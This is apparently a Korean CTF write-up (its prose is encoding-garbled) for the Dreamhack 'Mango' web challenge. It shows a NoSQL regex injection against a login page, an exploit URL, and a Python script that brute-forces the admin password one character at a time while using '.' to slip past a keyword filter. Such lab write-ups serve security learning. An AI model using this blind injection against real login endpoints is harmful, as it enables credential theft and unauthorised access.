Wargame/Dreamhack
[Web] Mango
๋จ๋ฐ์ค
2023. 2. 16. 12:26
ํํฐ๋ง ํจ์๋ฅผ ๋ณด๋ฉด {admin, dh, admi} ์ด ๋ค์ด๊ฐ๋ฉด true๋ฅผ ๋ฐํํ๋ค.
๋ก๊ทธ์ธ ํ์ด์ง๋ฅผ ๋ณด๋ฉด ํํฐ์ ๊ฑธ๋ฆฌ๊ฒ ๋๋ฉด filter๋ฅผ ๋ฐํํ๊ณ return ํด๋ฒ๋ฆฐ๋ค.
์ฌ๊ธฐ์๋ ์ฟผ๋ฆฌ ๋ณ์ ํ์ ์ ๊ฒ์ฆํ์ง ์๊ธฐ ๋๋ฌธ์ injection ์ด ๋ฐ์ํ๊ฒ ๋๋ค.
- Exploit Code
<http://host3.dreamhack.games:16060/login?uid=admin&upw[$regex]=D.*>
์ฌ๊ธฐ์ DH๋ฅผ ์ฐํํ ์ ์๋ ๋ฐฉ๋ฒ์ . ์ ์ด์ฉํ๋ ๋ฐฉ๋ฒ์ด ์๋ค.
์ฃผ์ด์ง ์ฝ๋์ ์๋ ์ฃผ์์ ์ฐธ๊ณ ํ์ฌ alphanumeric ์ ํ์ฉํ์ฌ ์ฝ๋๋ฅผ ์์ฑํ๋ฉด
// flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}
* Exploit Code
import requests, string
HOST = 'http://host3.dreamhack.games:9990'
ALPHANUMERIC = string.digits + string.ascii_letters
flag = ''
for i in range(32):
for ch in ALPHANUMERIC:
response = requests.get(f'{HOST}/login?uid[$regex]=ad.in&upw[$regex]=D.{{{flag}{ch}')
if response.text == 'admin':
flag += ch
break
print(f'FLAG: DH{{{flag}}}')